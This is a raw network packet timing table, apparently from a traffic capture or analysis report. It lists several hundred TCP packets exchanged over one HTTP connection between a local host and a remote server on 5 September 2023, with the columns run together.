                                  Sep 5, 2023 22:20:44.096636057 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.096638918 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096684933 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096729040 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096729994 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.096774101 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096818924 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096818924 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.096864939 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096909046 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.096910954 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096956015 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.096999884 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.100085974 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100152969 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100198030 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100214005 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.100245953 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100289106 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100294113 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.100337029 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100383043 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100387096 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.100429058 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.100477934 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.144479990 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.144550085 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.144610882 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248466015 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248534918 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248584986 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248629093 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248673916 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248723030 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248766899 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248769045 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248811960 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248826981 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248857975 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248859882 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248903036 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248903036 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248949051 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.248970032 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.248996019 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249041080 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249077082 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.249085903 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249131918 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249150991 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.249177933 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249222040 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249247074 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.249265909 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249310970 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249347925 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.249357939 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249403000 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249444008 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.249449015 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249495029 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.249506950 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252173901 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252221107 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252266884 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252281904 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252315044 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252347946 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252366066 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252410889 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252437115 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252455950 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252501965 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252523899 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252547026 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252593040 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252612114 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252640009 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252686024 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252731085 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252732038 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252777100 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252801895 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252823114 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252867937 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252891064 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.252913952 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252960920 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.252978086 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253005981 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253051996 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253098011 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253098011 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253143072 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253168106 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253190041 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253235102 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253256083 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253281116 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253325939 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253365993 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253374100 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253420115 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253444910 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253467083 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253511906 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253537893 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253561020 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253606081 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253642082 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253653049 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253699064 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253719091 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253803968 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253849983 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253866911 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253896952 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253942966 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.253966093 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.253989935 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254034996 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254056931 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254080057 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254125118 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254144907 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254169941 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254215956 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254264116 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254265070 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254311085 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254333973 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254359961 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254405022 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254448891 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254448891 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254494905 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254518986 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254539013 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254584074 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254609108 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254631042 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254673958 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254698038 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254719019 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254764080 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254781961 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254808903 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254853964 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254877090 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254899025 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254942894 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.254965067 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.254988909 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255033970 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255057096 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255079031 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255122900 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255152941 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255168915 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255213976 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255258083 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255269051 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255304098 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255337000 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255351067 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255393028 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255425930 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255436897 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255508900 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255516052 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255562067 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255608082 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255639076 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255652905 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255697012 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255726099 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255742073 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255788088 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255819082 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255831003 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255876064 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255904913 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.255920887 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.255966902 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256004095 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256012917 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256057978 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256087065 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256103992 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256150007 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256182909 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256194115 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256238937 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256268024 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256283045 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256328106 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256354094 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256376028 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256419897 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256464958 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256468058 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256510019 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256541967 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256553888 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256599903 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256635904 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256644964 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256690025 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256722927 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256735086 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256779909 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256819963 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256824017 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256870031 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256901026 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.256913900 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256958961 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.256989956 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257004023 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257049084 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257076025 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257093906 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257138014 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257174015 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257184029 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257229090 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257261038 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257272959 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257318020 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257359982 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257364035 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257410049 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257438898 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257455111 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257514000 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257541895 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257559061 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257606030 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257651091 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257656097 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257697105 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257733107 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257742882 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257771969 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257787943 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257822037 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257833004 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257865906 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257878065 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257915020 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.257924080 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.257970095 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.258016109 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.258050919 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.258050919 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.258050919 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.258060932 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.258122921 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.258147955 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.285624981 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.285765886 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.285794973 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.285845995 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.285887957 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.285893917 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.285939932 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.285953999 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.285986900 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286003113 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286032915 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286057949 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286078930 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286112070 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286125898 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286173105 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286216021 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286236048 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286263943 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286269903 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286309004 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286351919 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286356926 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286417007 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286427021 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286462069 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286500931 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286508083 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286556005 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286570072 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286602020 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286622047 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286647081 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286679029 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286691904 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286736965 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286761999 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286782980 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286804914 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286832094 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286878109 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286879063 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286921978 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286930084 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.286967039 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.286983013 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287012100 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287039995 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287056923 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287101984 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287112951 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287147045 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287190914 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287190914 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287235022 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287278891 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287280083 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287324905 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287326097 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287373066 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287410975 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287417889 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287481070 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287522078 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287554979 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287568092 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287614107 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287614107 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287659883 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287662983 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287704945 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287751913 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287759066 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287796974 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287834883 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287842035 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287877083 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287887096 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287931919 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.287955999 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.287978888 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288022995 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288029909 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288068056 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288101912 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288113117 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288156986 CEST804970681.161.229.9192.168.2.4
                                  Sep 5, 2023 22:20:44.288178921 CEST4970680192.168.2.481.161.229.9
                                  Sep 5, 2023 22:20:44.288202047 CEST804970681.161.229.9192.168.2.4
